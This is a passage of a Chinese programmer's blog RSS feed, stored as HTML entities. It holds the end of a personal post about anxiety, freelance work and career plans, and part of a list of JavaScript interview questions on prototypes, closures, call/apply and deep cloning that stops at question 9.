x5927;&#x7684;&#x8001;&#x5E08;&#xFF0C;&#x6211;&#x76F8;&#x4FE1;&#xFF0C;&#x6211;&#x4F1A;&#x4E3A;&#x4E86;&#x81EA;&#x5DF1;&#x70ED;&#x7231;&#x7684;&#x4E8B;&#x60C5;&#x4E0D;&#x9057;&#x4F59;&#x529B;&#x3002;&#x6211;&#x539F;&#x672C;&#x4EE5;&#x4E3A;&#x81EA;&#x5DF1;&#x5DF2;&#x7ECF;&#x662F;&#x53EF;&#x4EE5;&#x5F88;&#x597D;&#x7684;&#x63A7;&#x5236;&#x81EA;&#x5DF1;&#x7684;&#x60C5;&#x7EEA;&#x548C;&#x813E;&#x6C14;&#xFF0C;&#x6CA1;&#x60F3;&#x5230;&#x8FD8;&#x662F;&#x592A;&#x5E74;&#x8F7B;&#x3002;&#x6211;&#x77E5;&#x9053;&#x66B4;&#x813E;&#x6C14;&#x4E0D;&#x597D;&#xFF0C;&#x4F46;&#x5C31;&#x633A;&#x96BE;&#x63A7;&#x5236;&#x7684;&#xFF0C;&#x4E0D;&#x77E5;&#x9053;&#x4E0B;&#x6B21;&#x7206;&#x53D1;&#x662F;&#x4EC0;&#x4E48;&#x65F6;&#x5019;&#x3002;&#x8FD1;&#x671F;&#x5DF2;&#x7ECF;&#x4ECE;&#x751F;&#x6D3B;&#x6162;&#x6162;&#x6539;&#x5584;&#xFF0C;&#x996E;&#x6599;&#x4E5F;&#x6BD4;&#x4E4B;&#x524D;&#x5C11;&#x559D;&#x4E86;&#x5F88;&#x591A;&#xFF0C;&#x5C3D;&#x91CF;&#x559D;&#x6E29;&#x6C34;&#x3002;&#x633A;&#x60F3;&#x627E;&#x4E2A;&#x65F6;&#x95F4;&#x51FA;&#x53BB;&#x6563;&#x6563;&#x5FC3;&#x7684;&#xFF0C;&#x4F46;&#x662F;&#x6211;&#x53C8;&#x6BEB;&#x65E0;&#x76EE;&#x7684;&#x5730;&#x3002;<br>
&#x5F88;&#x591A;&#x65F6;&#x5019;&#x6211;&#x90FD;&#x77E5;&#x9053;&#x81EA;&#x5DF1;&#x505A;&#x7684;&#x4E0D;&#x5BF9;&#xFF0C;&#x4F46;&#x662F;&#x4E8B;&#x60C5;&#x90FD;&#x662F;&#x53CC;&#x65B9;&#x7684;&#x3002;&#x6211;&#x7684;&#x7684;&#x786E;&#x786E;&#x662F;&#x505A;&#x4E86;&#x9519;&#x4E8B;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x7684;&#x5BB6;&#x4EBA;&#xFF0C;&#x6211;&#x7684;&#x670B;&#x53CB;&#x90FD;&#x4E0D;&#x539F;&#x8C05;&#x6211;&#xFF0C;&#x522B;&#x4EBA;&#x600E;&#x4E48;&#x53EF;&#x80FD;&#x8FD8;&#x539F;&#x8C05;&#x6211;&#xFF1F;&#x6211;&#x4E0D;&#x5C0F;&#x4E86;&#xFF0C;&#x4E0D;&#x7528;&#x592A;&#x62C5;&#x5FC3;&#x6211;&#x53BB;&#x54EA;&#x91CC;&#x6211;&#x4F1A;&#x600E;&#x6837;&#xFF0C;&#x6211;&#x77E5;&#x9519;&#xFF0C;&#x6211;&#x4F1A;&#x6539;&#xFF0C;&#x6211;&#x63A5;&#x6536;&#x4E00;&#x5207;&#x6279;&#x8BC4;&#xFF0C;&#x4F46;&#x6211;&#x4E5F;&#x6709;&#x6211;&#x81EA;&#x5DF1;&#x60F3;&#x505A;&#x7684;&#x4E8B;&#x60C5;&#x554A;&#x3002;&#x4EFB;&#x4F55;&#x4E8B;&#x60C5;&#x7684;&#x7ED3;&#x679C;&#x90FD;&#x662F;&#x5546;&#x91CF;&#x6765;&#x7684;&#xFF0C;&#x5982;&#x679C;&#x6709;&#x4E00;&#x65B9;&#x4E0D;&#x540C;&#x610F;&#xFF0C;&#x90A3;&#x6211;&#x5C31;&#x53EA;&#x80FD;&#x4E00;&#x610F;&#x5B64;&#x884C;&#xFF0C;&#x5C31;&#x7B97;&#x518D;&#x5B64;&#x72EC;&#xFF0C;&#x53C8;&#x600E;&#x6837;&#xFF1F;<br>
&#x6211;&#x77E5;&#x9053;&#x6211;&#x660E;&#x767D;&#x73B0;&#x5728;&#x751F;&#x5B58;&#x8D8A;&#x6765;&#x8D8A;&#x96BE;&#xFF0C;&#x4F46;&#x6211;&#x4E0D;&#x60F3;&#x8BA9;&#x81EA;&#x5DF1;&#x66F4;&#x96BE;&#x8FC7;&#xFF0C;&#x597D;&#x597D;&#x52AA;&#x529B;&#x8BA9;&#x81EA;&#x5DF1;&#x4E0B;&#x534A;&#x751F;&#x66F4;&#x597D;&#x8FC7;&#x5427;&#x3002;&#x5176;&#x5B9E;&#x6709;&#x65F6;&#x5019;&#x6211;&#x633A;&#x6068;&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x6765;&#x5230;&#x8FD9;&#x4E2A;&#x4E16;&#x754C;&#x7684;&#x3002;<br>
&#x4ECA;&#x5929;&#x786E;&#x786E;&#x5B9E;&#x5B9E;&#x7684;&#x7279;&#x522B;&#x7126;&#x8651;&#xFF0C;&#x4E0D;&#x77E5;&#x9053;&#x662F;&#x4E3A;&#x4EC0;&#x4E48;&#xFF0C;&#x53C8;&#x597D;&#x4F3C;&#x5728;&#x5BB3;&#x6015;&#x4EC0;&#x4E48;&#x3002;</p>
<h1 id="%E5%B7%A5%E4%BD%9C">&#x5DE5;&#x4F5C;</h1>
<p>&#x5927;&#x4E00;&#x5F00;&#x59CB;&#x5C31;&#x7B97;&#x662F;&#x771F;&#x6B63;&#x505A;&#x79C1;&#x4EBA;&#x5916;&#x5305;&#x7684;&#x5F00;&#x59CB;&#xFF0C;&#x4E00;&#x76F4;&#x505A;&#x5230;&#x73B0;&#x5728;&#xFF0C;&#x6211;&#x53EA;&#x89C9;&#x5F97;&#x5916;&#x5305;&#x592A;&#x4E0D;&#x7A33;&#x5B9A;&#x4E86;&#xFF0C;&#x867D;&#x7136;&#x916C;&#x52B3;&#x662F;&#x9AD8;&#xFF0C;&#x4F46;&#x662F;&#x57FA;&#x4E8E;&#x79CD;&#x79CD;&#x56E0;&#x7D20;&#x9020;&#x6210;&#x4E86;&#x5404;&#x79CD;&#x7684;&#x4E0D;&#x7A33;&#x5B9A;&#xFF0C;&#x6BD4;&#x5982;&#x5BA2;&#x6237;&#x7684;&#x62D6;&#x5EF6;&#x3002;&#x5728;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x4E2D;&#xFF0C;&#x7ED9;&#x6211;&#x6700;&#x5927;&#x7684;&#x4E00;&#x4E2A;&#x611F;&#x53D7;&#x5C31;&#x662F;&#x4F5C;&#x4E3A;&#x4E00;&#x540D;&#x7A0B;&#x5E8F;&#x5458;&#xFF0C;&#x4E0D;&#x4EC5;&#x8981;&#x61C2;&#x5199;&#xFF0C;&#x66F4;&#x8981;&#x61C2;&#x9664;&#x4EE3;&#x7801;&#x4EE5;&#x5916;&#x65B9;&#x65B9;&#x9762;&#x9762;&#x7684;&#x4E1C;&#x897F;&#xFF0C;&#x5426;&#x5219;&#x65E0;&#x4ECE;&#x4E0B;&#x624B;&#x3002;&#x5176;&#x5B9E;&#x4E5F;&#x86EE;&#x5FC3;&#x529B;&#x4EA4;&#x7601;&#x7684;&#xFF0C;&#x4E5F;&#x7531;&#x4E8E;&#x5931;&#x7720;&#x7684;&#x539F;&#x56E0;&#xFF0C;&#x6211;&#x66F4;&#x52A0;&#x4E60;&#x60EF;&#x4E86;&#x71AC;&#x591C;&#x5199;&#x4EE3;&#x7801;&#xFF0C;&#x786E;&#x786E;&#x5B9E;&#x5B9E;&#x751F;&#x6D3B;&#x8282;&#x594F;&#x4E71;&#x4E86;&#x3002;&#x5076;&#x7136;&#x95F4;&#x548C;&#x4E00;&#x4E2A;&#x505A;&#x5B89;&#x5168;&#x7684;&#x670B;&#x53CB;&#x804A;&#x8D77;&#xFF0C;&#x8BF4;&#x4ED6;&#x4EEC;&#x90A3;&#x8FB9;&#x9700;&#x8981;&#x5F00;&#x53D1;&#x4EBA;&#x5458;&#xFF0C;&#x60F3;&#x5185;&#x63A8;&#x6211;&#x8FC7;&#x53BB;&#xFF0C;&#x636E;&#x8BF4;&#x5DE5;&#x4F5C;&#x8F6C;&#x6B63;&#x4E4B;&#x540E;&#x662F;1.5w&#xFF0C;&#x5B9E;&#x8BDD;&#x8BF4;&#xFF0C;&#x633A;&#x5FC3;&#x52A8;&#x7684;&#xFF0C;&#x4F46;&#x6211;&#x73B0;&#x5728;&#x53C8;&#x8FD8;&#x6CA1;&#x6BD5;&#x4E1A;&#xFF0C;&#x518D;&#x52A0;&#x4E0A;&#x53C8;&#x8F6C;&#x4E86;&#x4E13;&#x4E1A;&#xFF0C;&#x8FD8;&#x8981;&#x60F3;&#x7740;&#x4E13;&#x63D2;&#x672C;&#xFF0C;&#x60F3;&#x4E86;&#x60F3;&#xFF0C;&#x6211;&#x8FD8;&#x662F;&#x5148;&#x62FF;&#x4E86;&#x6BD5;&#x4E1A;&#x8BC1;&#x6BD4;&#x8F83;&#x7A33;&#x59A5;&#x3002;&#x968F;&#x7740;&#x6280;&#x672F;&#x7684;&#x8FED;&#x4EE3;&#xFF0C;&#x6211;&#x4E5F;&#x9700;&#x8981;&#x66F4;&#x65B0;&#x81EA;&#x5DF1;&#x7684;&#x6280;&#x80FD;&#xFF0C;&#x81EA;&#x5B66;&#x65B0;&#x6846;&#x67B6;&#xFF0C;&#x6700;&#x8FD1;&#x4E5F;&#x5728;&#x719F;&#x6089;JAVA&#x7684;SPRINGBOOT&#xFF0C;&#x6709;&#x8FD9;&#x4E2A;&#x610F;&#x5411;&#x638C;&#x63E1;JAVA&#xFF0C;&#x6BD5;&#x7ADF;&#x6211;&#x89C9;&#x5F97;PHP&#x5DF2;&#x7ECF;&#x4E0D;&#x80FD;&#x6EE1;&#x8DB3;&#x6211;&#x4E86;&#x3002;&#x76EE;&#x524D;&#x524D;&#x7AEF;&#x638C;&#x63E1;&#x4E86;REACT\VUE\UNIAPP\HTML\CSS\JS&#xFF0C;&#x540E;&#x7AEF;&#x638C;&#x63E1;&#x4E86;PHP\NESTJS&#xFF08;&#x6211;&#x613F;&#x79F0;&#x4E4B;&#x4E3A;&#x5C0F;JAVA&#xFF09;&#x3002;&#x9893;&#x5E9F;&#x4E86;&#x90A3;&#x4E48;&#x4E45;&#xFF0C;&#x4E5F;&#x8BE5;&#x6536;&#x62FE;&#x5FC3;&#x60C5;&#xFF0C;&#x91CD;&#x65B0;&#x51FA;&#x53D1;&#x4E86;&#x3002;</p>
<h1 id="%E6%9C%80%E5%90%8E">&#x6700;&#x540E;</h1>
<blockquote>
<p>Be strong,because things will get better.It might be stormy now,but it can&apos;t rain forever.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[可能遇到的JavaScript笔试题]]></title><description><![CDATA[可能遇到的JavaScript笔试题]]></description><link>https://iobiji.com/javascript-notes/</link><guid isPermaLink="false">656e0e57d732aa747eb28173</guid><category><![CDATA[编程技术]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Fri, 12 Jun 2020 11:19:13 GMT</pubDate><media:content url="https://cdn.iobiji.com/202006/js.png" medium="image"/><content:encoded><![CDATA[<h2 id="1-%E7%AE%80%E8%BF%B0javascript%E5%8E%9F%E5%9E%8B%E3%80%81%E5%8E%9F%E5%9E%8B%E9%93%BE%EF%BC%9F%E6%9C%89%E4%BB%80%E4%B9%88%E7%89%B9%E7%82%B9">1. &#x7B80;&#x8FF0;javascript&#x539F;&#x578B;&#x3001;&#x539F;&#x578B;&#x94FE;&#xFF1F;&#x6709;&#x4EC0;&#x4E48;&#x7279;&#x70B9;</h2>
<img src="https://cdn.iobiji.com/202006/js.png" alt="&#x53EF;&#x80FD;&#x9047;&#x5230;&#x7684;JavaScript&#x7B14;&#x8BD5;&#x9898;"><p>&#x6BCF;&#x4E2A;&#x51FD;&#x6570;&#x90FD;&#x6709;&#x4E00;&#x4E2A; prototype &#x5C5E;&#x6027;,&#x51FD;&#x6570;&#x7684; prototype&#x5C5E;&#x6027;&#x6307;&#x5411;&#x4E86;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#xFF0C;&#x8FD9;&#x4E2A;&#x5BF9;&#x8C61;&#x6B63;&#x662F;&#x8C03;&#x7528;&#x8BE5;&#x6784;&#x9020;&#x51FD;&#x6570;&#x800C;&#x521B;&#x5EFA;&#x7684;&#x5B9E;&#x4F8B;&#x7684;&#x539F;&#x578B;</p>
<p>&#x90A3;&#x4EC0;&#x4E48;&#x662F;&#x539F;&#x578B;&#x5462;&#xFF1F;&#x4F60;&#x53EF;&#x4EE5;&#x8FD9;&#x6837;&#x7406;&#x89E3;&#xFF1A;&#x6BCF;&#x4E00;&#x4E2A;JavaScript&#x5BF9;&#x8C61;(null&#x9664;&#x5916;)&#x5728;&#x521B;&#x5EFA;&#x7684;&#x65F6;&#x5019;&#x5C31;&#x4F1A;&#x4E0E;&#x4E4B;&#x5173;&#x8054;&#x53E6;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#xFF0C;&#x8FD9;&#x4E2A;&#x5BF9;&#x8C61;&#x5C31;&#x662F;&#x6211;&#x4EEC;&#x6240;&#x8BF4;&#x7684;&#x539F;&#x578B;&#xFF0C;&#x6BCF;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x90FD;&#x4F1A;&#x4ECE;&#x539F;&#x578B;&quot;&#x7EE7;&#x627F;&quot;&#x5C5E;&#x6027;&#x3002;</p>
<p>&#x8FD9;&#x662F;&#x6BCF;&#x4E00;&#x4E2A;JavaScript&#x5BF9;&#x8C61;(&#x9664;&#x4E86; null )&#x90FD;&#x5177;&#x6709;&#x7684;&#x4E00;&#x4E2A;&#x5C5E;&#x6027;&#xFF0C;&#x53EB; <code>__proto__</code>&#xFF0C;&#x8FD9;&#x4E2A;&#x5C5E;&#x6027;&#x4F1A;&#x6307;&#x5411;&#x8BE5;&#x5BF9;&#x8C61;&#x7684;&#x539F;&#x578B;&#x3002;</p>
<p>&#x539F;&#x578B;&#x94FE;&#x89E3;&#x51B3;&#x7684;&#x4E3B;&#x8981;&#x662F;&#x7EE7;&#x627F;&#x95EE;&#x9898;&#x3002;</p>
<p>&#x6BCF;&#x4E2A;&#x5BF9;&#x8C61;&#x62E5;&#x6709;&#x4E00;&#x4E2A;&#x539F;&#x578B;&#x5BF9;&#x8C61;&#xFF0C;&#x901A;&#x8FC7; proto &#x6307;&#x9488;&#x6307;&#x5411;&#x5176;&#x539F;&#x578B;&#x5BF9;&#x8C61;&#xFF0C;&#x5E76;&#x4ECE;&#x4E2D;&#x7EE7;&#x627F;&#x65B9;&#x6CD5;&#x548C;&#x5C5E;&#x6027;&#xFF0C;&#x540C;&#x65F6;&#x539F;&#x578B;&#x5BF9;&#x8C61;&#x4E5F;&#x53EF;&#x80FD;&#x62E5;&#x6709;&#x539F;&#x578B;&#xFF0C;&#x8FD9;&#x6837;&#x4E00;&#x5C42;&#x4E00;&#x5C42;&#xFF0C;&#x6700;&#x7EC8;&#x6307;&#x5411; null(Object.proptotype.proto &#x6307;&#x5411;&#x7684;&#x662F;null)&#x3002;&#x8FD9;&#x79CD;&#x5173;&#x7CFB;&#x88AB;&#x79F0;&#x4E3A;&#x539F;&#x578B;&#x94FE; (prototype chain)&#xFF0C;&#x901A;&#x8FC7;&#x539F;&#x578B;&#x94FE;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x53EF;&#x4EE5;&#x62E5;&#x6709;&#x5B9A;&#x4E49;&#x5728;&#x5176;&#x4ED6;&#x5BF9;&#x8C61;&#x4E2D;&#x7684;&#x5C5E;&#x6027;&#x548C;&#x65B9;&#x6CD5;&#x3002;</p>
<h2 id="2-%E8%A7%A3%E9%87%8Ajavascript%E4%B8%AD%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F%E5%92%8C%E5%8F%98%E9%87%8F%E5%A3%B0%E6%98%8E%E6%8F%90%E5%8D%87">2. &#x89E3;&#x91CA;javascript&#x4E2D;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#x548C;&#x53D8;&#x91CF;&#x58F0;&#x660E;&#x63D0;&#x5347;</h2>
<p>&#x4F5C;&#x7528;&#x57DF;&#x662F;&#x6307;&#x7A0B;&#x5E8F;&#x6E90;&#x4EE3;&#x7801;&#x4E2D;&#x5B9A;&#x4E49;&#x53D8;&#x91CF;&#x7684;&#x533A;&#x57DF;&#x3002;&#x4F5C;&#x7528;&#x57DF;&#x89C4;&#x5B9A;&#x4E86;&#x5982;&#x4F55;&#x67E5;&#x627E;&#x53D8;&#x91CF;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x786E;&#x5B9A;&#x5F53;&#x524D;&#x6267;&#x884C;&#x4EE3;&#x7801;&#x5BF9;&#x53D8;&#x91CF;&#x7684;&#x8BBF;&#x95EE;&#x6743;&#x9650;&#x3002;</p>
<p>&#x53D8;&#x91CF;&#x58F0;&#x660E;&#x63D0;&#x5347;&#xFF1A;</p>
<pre><code class="language-javascript">foo;  // undefined
var foo = function () {
    console.log(&apos;foo1&apos;);
}
 
foo();  // foo1&#xFF0C;foo&#x8D4B;&#x503C;
</code></pre>
<p>&#x53EF;&#x4EE5;&#x60F3;&#x8C61;&#x6210;&#xFF1A;&#x6240;&#x6709;&#x7684;&#x58F0;&#x660E;&#xFF08;&#x53D8;&#x91CF;&#x548C;&#x51FD;&#x6570;&#xFF09;&#x90FD;&#x4F1A;&#x88AB;&#x201C;&#x79FB;&#x52A8;&#x201D;&#x5230;&#x5404;&#x81EA;&#x4F5C;&#x7528;&#x57DF;&#x7684;&#x6700;&#x9876;&#x7AEF;&#x3002;</p>
<h2 id="3-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%95%B0%E7%BB%84%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%8E%92%E5%BA%8F">3. &#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x6570;&#x7EC4;&#x7684;&#x968F;&#x673A;&#x6392;&#x5E8F;</h2>
<pre><code class="language-javascript">var arr = [1,2,3,4,5,6,7,8,9,10];
var newArr = [];
let length=arr.length
for(let i=0;i&lt;length;i++){
  let randomIndex = Math.floor(Math.random()*arr.length);
  newArr[i]=arr[randomIndex]
  arr.splice(randomIndex,1)
}
console.log(newArr)
</code></pre>
<h2 id="4-%E8%B0%88%E8%B0%88this%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%90%86%E8%A7%A3%EF%BC%8Ccall%E5%92%8Capply%E7%9A%84%E5%8C%BA%E5%88%AB">4. &#x8C08;&#x8C08;this&#x5BF9;&#x8C61;&#x7684;&#x7406;&#x89E3;&#xFF0C;call()&#x548C;apply()&#x7684;&#x533A;&#x522B;</h2>
<p>call&#x548C;apply&#x7684;&#x533A;&#x522B;&#x5728;&#x4E8E;&#x4F20;&#x5165;&#x53C2;&#x6570;&#x7684;&#x4E0D;&#x540C;&#xFF1B; &#x7B2C;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#x90FD;&#x662F;&#xFF0C;&#x6307;&#x5B9A;&#x51FD;&#x6570;&#x4F53;&#x5185;this&#x7684;&#x6307;&#x5411;&#xFF1B;</p>
<p>&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x5F00;&#x59CB;&#x4E0D;&#x540C;&#xFF0C;apply&#x662F;&#x4F20;&#x5165;&#x5E26;&#x4E0B;&#x6807;&#x7684;&#x96C6;&#x5408;&#xFF0C;&#x6570;&#x7EC4;&#x6216;&#x8005;&#x7C7B;&#x6570;&#x7EC4;&#xFF0C;apply&#x628A;&#x5B83;&#x4F20;&#x7ED9;&#x51FD;&#x6570;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#xFF0C;call&#x4ECE;&#x7B2C;&#x4E8C;&#x4E2A;&#x5F00;&#x59CB;&#x4F20;&#x5165;&#x7684;&#x53C2;&#x6570;&#x662F;&#x4E0D;&#x56FA;&#x5B9A;&#x7684;&#xFF0C;&#x90FD;&#x4F1A;&#x4F20;&#x7ED9;&#x51FD;&#x6570;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#x3002;</p>
<p>call&#x6BD4;apply&#x7684;&#x6027;&#x80FD;&#x8981;&#x597D;&#xFF0C;&#x5E73;&#x5E38;&#x53EF;&#x4EE5;&#x591A;&#x7528;call&#x3002;call&#x4F20;&#x5165;&#x53C2;&#x6570;&#x7684;&#x683C;&#x5F0F;&#x6B63;&#x662F;&#x5185;&#x90E8;&#x6240;&#x9700;&#x8981;&#x7684;&#x683C;&#x5F0F;&#x3002;</p>
<h2 id="5-%E4%BB%80%E4%B9%88%E6%98%AF%E9%97%AD%E5%8C%85%EF%BC%9F%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E7%94%A8%E5%AE%83%EF%BC%9F">5. &#x4EC0;&#x4E48;&#x662F;&#x95ED;&#x5305;&#xFF1F;&#x4E3A;&#x4EC0;&#x4E48;&#x8981;&#x7528;&#x5B83;&#xFF1F;</h2>
<p>&#x95ED;&#x5305;&#xFF1A;&#x51FD;&#x6570; A &#x8FD4;&#x56DE;&#x4E86;&#x4E00;&#x4E2A;&#x51FD;&#x6570; B&#xFF0C;&#x5E76;&#x4E14;&#x51FD;&#x6570; B &#x4E2D;&#x4F7F;&#x7528;&#x4E86;&#x51FD;&#x6570; A &#x7684;&#x53D8;&#x91CF;&#xFF0C;&#x51FD;&#x6570; B &#x5C31;&#x88AB;&#x79F0;&#x4E3A;&#x95ED;&#x5305;&#x3002;</p>
<p>&#x4F5C;&#x7528;&#x6709;:</p>
<p>1&#x3001;&#x5F62;&#x6210;&#x5757;&#x7EA7;&#x4F5C;&#x7528;&#x57DF;</p>
<p>2&#x3001;&#x53D8;&#x91CF;&#x79C1;&#x6709;&#x5316;</p>
<p>3&#x3001;&#x4E0D;&#x6C61;&#x67D3;&#x5168;&#x5C40;&#x53D8;&#x91CF;</p>
<p>4&#x3001;&#x51FD;&#x6570;&#x81EA;&#x6267;&#x884C;</p>
<h2 id="6-new%E6%93%8D%E4%BD%9C%E7%AC%A6%E5%88%B0%E5%BA%95%E5%B9%B2%E4%BA%86%E4%BB%80%E4%B9%88%EF%BC%9F">6. new&#x64CD;&#x4F5C;&#x7B26;&#x5230;&#x5E95;&#x5E72;&#x4E86;&#x4EC0;&#x4E48;&#xFF1F;</h2>
<ul>
<li>
<p>&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x65B0;&#x5BF9;&#x8C61;</p>
</li>
<li>
<p>&#x8FD9;&#x4E2A;&#x5BF9;&#x8C61;&#x4F1A;&#x94FE;&#x63A5;&#x5230;&#x5B83;&#x7684;&#x539F;&#x578B;:obj.<strong>proto</strong> = Con.prototype</p>
</li>
<li>
<p>&#x7ED1;&#x5B9A;this&#xFF08;apply&#xFF09;&#xFF0C;&#x5C5E;&#x6027;&#x548C;&#x65B9;&#x6CD5;&#x88AB;&#x52A0;&#x5165;&#x5230; this &#x5F15;&#x7528;&#x7684;&#x5BF9;&#x8C61;&#x4E2D;&#x3002;&#x5E76;&#x6267;&#x884C;&#x4E86;&#x6784;&#x9020;&#x51FD;&#x6570;&#x4E2D;&#x7684;&#x65B9;&#x6CD5;.</p>
</li>
<li>
<p>&#x51FD;&#x6570;&#x6CA1;&#x6709;&#x8FD4;&#x56DE;&#x5176;&#x4ED6;&#x5BF9;&#x8C61;&#xFF0C;&#x90A3;&#x4E48;this&#x6307;&#x5411;&#x8FD9;&#x4E2A;&#x65B0;&#x5BF9;&#x8C61;&#xFF0C;&#x5426;&#x5219;this&#x6307;&#x5411;&#x6784;&#x9020;&#x51FD;&#x6570;&#x4E2D;&#x8FD4;&#x56DE;&#x7684;&#x5BF9;&#x8C61;&#x3002;</p>
</li>
</ul>
<h2 id="7-%E7%AE%80%E8%BF%B0%E5%87%A0%E7%A7%8Des5%E7%BB%A7%E6%89%BF%E7%9A%84%E6%96%B9%E6%B3%95">7. &#x7B80;&#x8FF0;&#x51E0;&#x79CD;ES5&#x7EE7;&#x627F;&#x7684;&#x65B9;&#x6CD5;</h2>
<p>&#x5B9E;&#x73B0;&#x7EE7;&#x627F;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x4F9D;&#x9760;&#x539F;&#x578B;&#x94FE;&#x6765;&#x5B9E;&#x73B0;&#x7684;.</p>
<ul>
<li>&#x6784;&#x9020;&#x51FD;&#x6570;
<ul>
<li>&#x4FDD;&#x8BC1;&#x4E86;&#x539F;&#x578B;&#x94FE;&#x4E2D;&#x5F15;&#x7528;&#x7C7B;&#x578B;&#x503C;&#x7684;&#x72EC;&#x7ACB;,&#x4E0D;&#x518D;&#x88AB;&#x6240;&#x6709;&#x5B9E;&#x4F8B;&#x5171;&#x4EAB;;</li>
<li>&#x5B50;&#x7C7B;&#x578B;&#x521B;&#x5EFA;&#x65F6;&#x4E5F;&#x80FD;&#x591F;&#x5411;&#x7236;&#x7C7B;&#x578B;&#x4F20;&#x9012;&#x53C2;&#x6570;.</li>
</ul>
</li>
<li>&#x7EC4;&#x5408;&#x7EE7;&#x627F; &#x7EC4;&#x5408;&#x7EE7;&#x627F;, &#x6709;&#x65F6;&#x5019;&#x4E5F;&#x53EB;&#x505A;&#x4F2A;&#x7ECF;&#x5178;&#x7EE7;&#x627F;,&#x6307;&#x7684;&#x662F;&#x5C06;&#x539F;&#x578B;&#x94FE;&#x548C;&#x501F;&#x7528;&#x6784;&#x9020;&#x51FD;&#x6570;&#x7684;&#x6280;&#x672F;&#x7EC4;&#x5408;&#x5230;&#x4E00;&#x5757;,&#x4ECE;&#x800C;&#x53D1;&#x6325;&#x4E24;&#x8005;&#x4E4B;&#x957F;&#x7684;&#x4E00;&#x79CD;&#x7EE7;&#x627F;&#x6A21;&#x5F0F;.
<ul>
<li>&#x7EC4;&#x5408;&#x7EE7;&#x627F;&#x5176;&#x5B9E;&#x8C03;&#x7528;&#x4E86;&#x4E24;&#x6B21;&#x7236;&#x7C7B;&#x6784;&#x9020;&#x51FD;&#x6570;,</li>
</ul>
</li>
<li>&#x5BC4;&#x751F;&#x5F0F;&#x7EE7;&#x627F;</li>
<li>&#x5BC4;&#x751F;&#x7EC4;&#x5408;&#x7EE7;&#x627F;</li>
</ul>
<h2 id="8-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%B7%B1%E6%8B%B7%E8%B4%9D">8. &#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x6DF1;&#x62F7;&#x8D1D;</h2>
<p>&#x5E38;&#x7528;&#xFF1A;&#x4F7F;&#x7528;JSON.parse(JSON.stringify(obj))</p>
<p>&#x539F;&#x7406;&#x662F;&#x628A;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x5E8F;&#x5217;&#x5316;&#x6210;&#x4E3A;&#x4E00;&#x4E2A;JSON&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x5C06;&#x5BF9;&#x8C61;&#x7684;&#x5185;&#x5BB9;&#x8F6C;&#x6362;&#x6210;&#x5B57;&#x7B26;&#x4E32;&#x7684;&#x5F62;&#x5F0F;&#x518D;&#x4FDD;&#x5B58;&#x5728;&#x78C1;&#x76D8;&#x4E0A;&#xFF0C;&#x518D;&#x7528;JSON.parse()&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x5C06;JSON&#x5B57;&#x7B26;&#x4E32;&#x53D8;&#x6210;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x5BF9;&#x8C61;</p>
<p>&#x7F3A;&#x70B9;&#x662F;: &#x4F1A;&#x5FFD;&#x7565;undefined&#x3001;symbol&#x3001;funciton</p>
<p>&#x5B9E;&#x73B0;&#xFF1A;&#x9012;&#x5F52;+&#x5224;&#x65AD;&#x7C7B;&#x578B;</p>
<p>&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4EE3;&#x7801;</p>
<pre><code class="language-javascript">// &#x6570;&#x5B57; &#x5B57;&#x7B26;&#x4E32; function&#x662F;&#x4E0D;&#x9700;&#x8981;&#x62F7;&#x8D1D;&#x7684;
function deepClone(value) {  
    if (value == null) return value;  
    if (typeof value !== &apos;object&apos;) return value;
    if (value instanceof RegExp) return new RegExp(value);  
    if (value instanceof Date) return new Date(value);  
    // &#x6211;&#x8981;&#x5224;&#x65AD; value &#x662F;&#x5BF9;&#x8C61;&#x8FD8;&#x662F;&#x6570;&#x7EC4; &#x5982;&#x679C;&#x662F;&#x5BF9;&#x8C61; &#x5C31;&#x4EA7;&#x751F;&#x5BF9;&#x8C61; &#x662F;&#x6570;&#x7EC4;&#x5C31;&#x4EA7;&#x751F;&#x6570;&#x7EC4;  
    let obj = new value.constructor;  
    for(let key in value){    
        obj[key] = deepClone(value[key]); // &#x770B;&#x4E00;&#x770B;&#x5F53;&#x524D;&#x7684;&#x503C;&#x662F;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;  
    }  
    return obj;
}
</code></pre>
<h2 id="9%E3%80%81es6-%E7%9A%84-class-%E5%92%8C%E6%9E%84%E9%80%A0%E5%87%BD%E6%95%B0%E7%9A%84%E5%8C%BA%E5%88%AB">9&#x3001;ES6 &#x7684; class &#x548C;&#x6784;&#x9020;&#x51FD;&#x6570;&#x7684;&#x533A;&#x522B;</h2>
